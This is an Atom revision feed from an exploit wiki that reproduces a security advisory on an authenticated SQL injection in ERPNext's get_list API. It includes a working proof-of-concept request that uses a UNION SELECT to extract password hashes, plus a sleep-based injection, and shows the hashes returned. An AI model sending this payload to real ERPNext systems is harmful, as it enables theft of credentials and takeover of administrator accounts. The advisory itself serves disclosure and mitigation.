<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ERPNext_versions_12.18.0_and_13.0.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>ERPNext versions 12.18.0 and 13.0.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=ERPNext_versions_12.18.0_and_13.0.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T04:10:03Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2799&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Trovent Security Advisory 2103-01 # #####################################   Authenticated SQL injection in ERPNext 13.0.0/12.18.0 #############################...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=ERPNext_versions_12.18.0_and_13.0.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2799&amp;oldid=prev"/>
		<updated>2021-05-12T09:03:27Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Trovent Security Advisory 2103-01 # #####################################   Authenticated SQL injection in ERPNext 13.0.0/12.18.0 #############################...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Trovent Security Advisory 2103-01 #&lt;br /&gt;
#####################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Authenticated SQL injection in ERPNext 13.0.0/12.18.0&lt;br /&gt;
#####################################################&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
########&lt;br /&gt;
&lt;br /&gt;
Advisory ID: TRSA-2103-01&lt;br /&gt;
Advisory version: 1.0&lt;br /&gt;
Advisory status: Public&lt;br /&gt;
Advisory URL: https://trovent.io/security-advisory-2103-01&lt;br /&gt;
Affected product: ERPNext&lt;br /&gt;
Tested versions: 12.18.0 and 13.0.0 beta&lt;br /&gt;
Vendor: Frappé Technologies https://frappe.io&lt;br /&gt;
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Detailed description&lt;br /&gt;
####################&lt;br /&gt;
&lt;br /&gt;
Trovent Security GmbH discovered an SQL Injection vulnerability&lt;br /&gt;
in the &amp;quot;frappe.model.db_query.get_list&amp;quot; API endpoint.&lt;br /&gt;
On version 13.0.0 valid credentials without any privileges are sufficient&lt;br /&gt;
but on version 12.18.0 at least &amp;quot;system_user&amp;quot; privileges are required.&lt;br /&gt;
The vulnerable parameter &amp;quot;filters&amp;quot; allows injection of SQL statements.&lt;br /&gt;
An attacker is able to query all available database tables to retrieve&lt;br /&gt;
usernames, password hashes or password reset tokens which can then be used&lt;br /&gt;
to reset administrator passwords.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Severity: High&lt;br /&gt;
CVSS Score: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)&lt;br /&gt;
CWE ID: 89&lt;br /&gt;
CVE ID: TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Proof of concept&lt;br /&gt;
################&lt;br /&gt;
&lt;br /&gt;
Sample request made with a non system account to retrieve password hashes:&lt;br /&gt;
&lt;br /&gt;
REQUEST:&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
GET /api/method/frappe.model.db_query.get_list?filters=%7b%22name%20UNION%20SELECT%20password%20from%20%60__Auth%60%20--%20%22%3a%20%22administrator%22%7d&amp;amp;fields=%5b%22name%22%5d&amp;amp;doctype=User&amp;amp;limit=20'%3b%20do%20sleep(10)&amp;amp;order_by=name&amp;amp;_=1615372773071 HTTP/1.1&lt;br /&gt;
Host: erpnext.local&lt;br /&gt;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&lt;br /&gt;
Accept: application/json&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
X-Frappe-CSRF-Token: 0e89c5c43898da856fe12e19a57991d7bdf380477d0354f93ce6bcf3&lt;br /&gt;
X-Frappe-CMD:&lt;br /&gt;
X-Frappe-Doctype: Dashboard%20Settings&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: http://erpnext.local/app/website&lt;br /&gt;
Cookie: io=NVosyhHCvV3KdkxNAAi7; sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; system_user=no; full_name=auth%20test%27; user_id=auth%40trovent.io; user_image=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
RESPONSE:&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Server: nginx/1.19.7&lt;br /&gt;
Date: Wed, 10 Mar 2021 16:04:40 GMT&lt;br /&gt;
Content-Type: application/json&lt;br /&gt;
Connection: close&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Set-Cookie: sid=26f7ddefef642c0f88b9babfc26b751229c32b565304f30815d8ec22; Expires=Sat, 13-Mar-2021 16:04:40 GMT; HttpOnly; Path=/; SameSite=Lax&lt;br /&gt;
Set-Cookie: system_user=no; Path=/; SameSite=Lax&lt;br /&gt;
Set-Cookie: full_name=auth%20test%27; Path=/; SameSite=Lax&lt;br /&gt;
Set-Cookie: user_id=auth%40trovent.io; Path=/; SameSite=Lax&lt;br /&gt;
Set-Cookie: user_image=; Path=/; SameSite=Lax&lt;br /&gt;
X-Frame-Options: SAMEORIGIN&lt;br /&gt;
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
X-XSS-Protection: 1; mode=block&lt;br /&gt;
Content-Length: 719&lt;br /&gt;
&lt;br /&gt;
{&amp;quot;message&amp;quot;:[{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$0fofo/SeE0IoRQgh5HyvVQ$IuyDVu5v4Hc4Z7Pe/3Tvpim7AdhbYrI9b9XXL39/tVU&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$1vqfk3KO0ZqT8n7vvff.nw$A9a6k9wbegrw5QUiJ/jj1.kXCr.lwRSJtv5S7QTCQgU&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$aA2B8P7/X.vd./.fM6aUkg$JluCIXXrUgKxTUwvRyveCRIDjJ0mhhoG9Cs6onAO2Do&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$CSFEKCVEqPVe611rrdVayw$pFf/iBuprNIdZ4DoJadro0UUNaffy.2v5EbAe4Nbxco&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$L2WMkdLaG2NM6V3rnXMOAQ$snURvXF1kNTGA7Zux.HLoQ5JISRajyOBiAZ1VDjEJnc&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;$pbkdf2-sha256$29000$r/UeQ.id0/rfm9M6Z4yR8g$1w/oAvTRNJ7wKuSHgZ.4jkDHQAvLLYxerzYeHpd1IV8&amp;quot;},{&amp;quot;name&amp;quot;:&amp;quot;gAAAAABgP1dTiYpJ67JyyUjytcay4XmKoOuyf_jAke7slDwL4gIM5lCWCbu6SjYOPOX6WigAm0fZzGgTEIiXNCA_yPZI64ijmA==&amp;quot;}]}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Solution / Workaround&lt;br /&gt;
#####################&lt;br /&gt;
&lt;br /&gt;
To mitigate this vulnerability, we recommend to limit access to the affected API endpoint.&lt;br /&gt;
As a permanent solution it is recommended not to insert user input directly into SQL queries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
History&lt;br /&gt;
#######&lt;br /&gt;
&lt;br /&gt;
2021-03-10: Vulnerability found&lt;br /&gt;
2021-03-11: Advisory created and vendor contacted&lt;br /&gt;
2021-03-22: Vendor replied that they request CVE IDs after a fix is released&lt;br /&gt;
2021-04-19: Vendor informed about planned disclosure date (2021-05-11)&lt;br /&gt;
2021-05-03: Vendor contacted, asking for status&lt;br /&gt;
2021-05-07: No reply from vendor, vendor contacted again&lt;br /&gt;
2021-05-11: Advisory published&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>